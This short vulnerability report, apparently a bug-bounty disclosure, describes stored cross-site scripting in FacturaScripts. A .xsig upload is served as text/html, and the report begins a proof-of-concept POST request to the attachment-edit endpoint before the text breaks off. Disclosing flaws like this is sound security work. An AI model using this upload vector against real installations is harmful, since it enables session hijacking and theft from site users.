Cross-site scripting - Stored via upload `.xsig` file

Description When user upload a file with .xsig extension and direct access this file, the server response with Content-type: text/html lead to processing XSIG as HTML file. Proof of Concept POST /facturascripts/EditAttachedFile?code=1&action=save-ok HTTP/1.1 Host: localhost User-Agent: Mozilla/5....